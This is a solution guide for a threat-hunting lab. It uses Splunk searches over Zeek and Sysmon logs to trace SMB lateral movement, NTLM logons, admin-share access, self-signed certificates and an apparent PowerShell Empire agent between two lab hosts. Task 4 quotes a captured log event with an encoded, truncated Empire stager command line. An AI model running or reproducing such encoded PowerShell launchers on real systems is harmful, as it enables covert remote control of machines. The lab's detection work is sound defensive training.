

SOLUTIONS

Below, you can find solutions for each task. Remember though, that you can follow your own strategy, which may be different from the one explained in the following lab.

Task 1. Have any files been transferred over SMB?

To identify certain type of network traffic, we'll utilize Zeek's logs. The ones we are interested in for this task are those with sourcetype of "zeek_files". Zeek logs will provide hashes for transferred files, so we should take this into account during our hunt as well. Utilizing that information, we construct the following query:

```
index=zeek sourcetype="zeek_files" SMB | spath "rx_hosts()" | table rx_hosts(), tx_hosts(),
```

Once the query is executed, we get the following match:

index=zeek sourcetype="zeek_files" SMB spath "rx_hosts()" table rx_hosts(), tx_hosts(), filename, md5, sha1						
Events (4) Patterns Statistics (4) Visualization						
50 Per Page Format Preview						
rx_hosts()	tx_hosts()	filename	md5	sha1		
192.168.1.32	192.168.1.34	\vogZEL.bat	0bf7234f6b762ceaa7595b770b26420	86e2fcd1eac746226f784586a47e7389447909		
192.168.1.32	192.168.1.34	\UxSCZt.bat	741ad5c1becf9e35190630f75b627f3a	949405cc812e8766c820f32fcb8129ab0132306a		
192.168.1.32	192.168.1.34	\VaiREW.bat	906442276683081a0921383584801e09	6d4f5222614b194c9238c7e6053175a74739018a		
192.168.1.34	192.168.1.32	SYSTEM32\d6fBrvef.tmp				

We can clearly see that some odd, 6 character and randomly named files were detected.

We can further enrich this by looking at Zeek logs with sourcetype of "zeek_smb_files", and specifically those with action of "SMB::FILE_OPEN". We then construct the following query:

```
index=zeek sourcetype=zeek_smb_files action="SMB::FILE_OPEN" | table id.resp_h, id.resp_p, id
```

Once executed, we get the following match result:

index=zeek sourcetype=zeek_smb_files action="SMB::FILE_OPEN" table id.resp_h, id.resp_p, id.orig_h, id.orig_p, action, name						
Events (9) Patterns Statistics (9) Visualization						
50 Per Page Format Preview						
id.resp_h	id.resp_p	id.orig_h	id.orig_p	action	name	
192.168.1.34	445	192.168.1.32	49338	SMB::FILE_OPEN	\FafHgE	
192.168.1.34	445	192.168.1.32	49338	SMB::FILE_OPEN	\vogZEL.bat	
192.168.1.34	445	192.168.1.32	49331	SMB::FILE_OPEN	\UxSCZt.bat	
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\VaiREW.bat	
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\VaScyVR	
192.168.1.34	445	192.168.1.32	49329	SMB::FILE_OPEN	\VaiREW.bat	
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	SYSTEM32\d6fBrvef.tmp	
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	\winreg	
192.168.1.32	445	192.168.1.34	55600	SMB::FILE_OPEN	\svect1	

Now we can see that those files were accessed remotely. From this we can suspect that 192.168.1.32 is the victim that connects to 192.168.1.34 on port 445.

The 6 character and randomly-named filenames of shares are one of the distinguishing artefacts that is linked to CrackMapExec v4.0 and 5.0.

Task 2. Has the suspected attacker machine connected to the victim?

For this task, we'll use Zeek logs again, specifically those with sourcetype "zeek_ntlm".

```
index=zeek sourcetype=zeek_ntlm | table id.resp_h, id.resp_p, id.orig_h, id.orig_p, domainna
```

Once executed, we get the following:

index=zeek sourcetype=zeek_ntlm table id.resp_h, id.resp_p, id.orig_h, id.orig_p, domainname, success, username							
Events (32) Patterns Statistics (32) Visualization							
50 Per Page Format Preview							
id.resp_h	id.resp_p	id.orig_h	id.orig_p	domainname	success	username	
192.168.1.32	445	192.168.1.34	55652	WS-0002	true	Administrator	
192.168.1.32	135	192.168.1.34	60784	WS-0002		Administrator	
192.168.1.32	135	192.168.1.34	60782	WS-0002		Administrator	
192.168.1.32	445	192.168.1.34	55645	WS-0002	true	Administrator	
192.168.1.32	445	192.168.1.34	55644	WS-0002	true	Administrator	

We can see that 192.168.1.34 has connected successfully to 192.168.1.32 with the account "Administrator" (NTLM authentication, which is often generated by connecting remotely over SMB with plain text password or performing pass the hash).

Task 3. Have windows admin shares be accessed remotely?

For this task again, we'll look again Zeek logs again, specifically those with sourcetype "zeek_smb_mapping". Simply, we will list all logs in a defined table output format with the query:

```
index=zeek sourcetype="zeek_smb_mapping" | table id.resp_h, id.resp_p, id.orig_h, id.orig_p,
```

Once executed, we get the following:

index=zeek sourcetype="zeek_smb_mapping" table id.resp_h, id.resp_p, id.orig_h, id.orig_p, path, share_type						
Events (23) Patterns Statistics (23) Visualization						
50 Per Page Format Preview						
id.resp_h	id.resp_p	id.orig_h	id.orig_p	path	share_type	
192.168.1.32	445	192.168.1.34	55652	\\192.168.1.32\IPC\$	PIPE	
192.168.1.32	445	192.168.1.34	55646	\\192.168.1.32\IPC\$	PIPE	
192.168.1.34	445	192.168.1.32	49338	\\192.168.1.34\URLCJU	DISK	
192.168.1.34	445	192.168.1.32	49338	\\192.168.1.34\IPC\$	PIPE	
192.168.1.32	445	192.168.1.34	55632	\\192.168.1.32\IPC\$	PIPE	

It appears that 192.168.1.34 has created multiple connections to the IPC\$ share of 192.168.1.32. This is expected behavior when executing commands over SMB on a remote machine.

Task 4. Has PowerShell Empire agent been executed on the victim machine?

For this task, we'll utilize Sysmon logs, specifically whether a process was started with suspicious command line argument that contains "powershell.", which is generated by default in Empire agents. We will use the following query to search for "powershell":

```
index=* powershell
```

Once executed, among a list of matched events, we'll see this one:

```
3/1/20
2:16:21.000 PM <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System>
Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F569
8FFBD9}" /><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Tas
k><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated System
Time>'2020-03-01T22:16:21.000Z'</TimeCreated><EventRecordID>5448</EventRecordID><Cor
relation><Execution ProcessID='1624' ThreadID='1500' /><Channel>Microsoft-Win
dows-Sysmon/Operational</Channel><Computer>WS-0002</Computer><Security UserID
='S-1-5-18' /></System><EventData><Data Name='UtcTime'>2020-03-01 22:16:21.489
</Data><Data Name='ProcessGuid'>{58439593-3435-5E5C-0000-0010E5191800}</Data><
Data Name='ProcessId'>468</Data><Data Name='Image'>C:\Windows\System32\Windows
PowerShell\v1.0\powershell.exe</Data><Data Name='FileVersion'>10.0.14409.1005
(rsl_srvooB.161208-1155)</Data><Data Name='Description'>Windows PowerShell</Da
ta><Data Name='Product'>Microsoft® Windows® Operating System</Data><Data Name
='Company'>Microsoft Corporation</Data><Data Name='CommandLine'>powershell -n
oP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAUwBPAG8AbgBUAEAgqBhAGUALgBQAFMAVgB
IAHIAcwbJAE8ATgAuAE0AQBBqAG8AUgAgAQ0AZwBIAcAMmApAHSAJABHAFAAgA9AFSAuGB1IAGYAX
QAuAEAEAcwBTAGUATQBIAEwAWQAuAEcARQBUAFAQBwAGUAkAAAFMAeQBzAHQAZQBtACATQBhAG4
AYOBnAGUAdOB1IAG4AAdAAuAEFAAOB0AG8ABOBhAHQAaOBvAG4ALgBVAHQAaOBsAHMAJwAdAC4ATgBHA
```

If we go forward and decode the obfuscated command, we will indeed note that this matches Empire's stager.

We could also look into PowerShell ScriptBlock logs with Event ID 4104, that will display captured PowerShell activity. A simple query and looking for those that contain "Warning" in them already provides a wealth of potentially malicious obfuscated commands:

Index=* "eventcode=4104" Warning	
Events (10) Patterns Statistics Visualization	
50 Per Page Format Preview	
Time	Event
3/1/20 2:16:21.000 PM	... 2 lines omitted ... SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=WS-0002 Show all 10 lines
ComputerName = WS-0002	EventCode = 4104
Message =	Creating ScriptBlock text (1 of 1): IF(\$PSVERSIONTABLE.PSVersion.Major -ge 3){...

Task 5. Hunt for self-signed certificates

An interesting indicator of compromise is the existence of self-signed SSL certificates in your environment (of course your organization will have to adopt using certificates signed by trusted entities for this hunting technique to have a meaning)

The below Splunk search can reveal self-signed SSL certificates or certificates with multiple empty fields. Both can be used as an alarm.

```
index=zeek sourcetype=zeek_ssl |table cipher, server, client_cert_chain_fuids, client_cert_chain_fuids,
```

New Search									
index=zeek sourcetype=zeek_ssl table cipher, server, client_cert_chain_fuids, client_issuer, client_subject, c, version, subject, validation_status									
Events (8) Patterns Statistics (8) Visualization									
50 Per Page Format Preview									
Time	Event	Validation_Status							
3/1/20 2:16:21.000 PM	...	Self signed certificate							
3/1/20 2:16:21.000 PM	...	Self signed certificate							
3/1/20 2:16:21.000 PM	...	Self signed certificate							

If you look carefully enough, you will identify that the self-signed certificate is related to the attacking host we found during the previous tasks!

KEY TAKEAWAYS

- Robust detection rules are required to perform high quality hunts
- Combining network and host-based activity provides greater visibility into the actions performed and helps to identify adversary actions that may be hard (or impossible) by looking at only one source.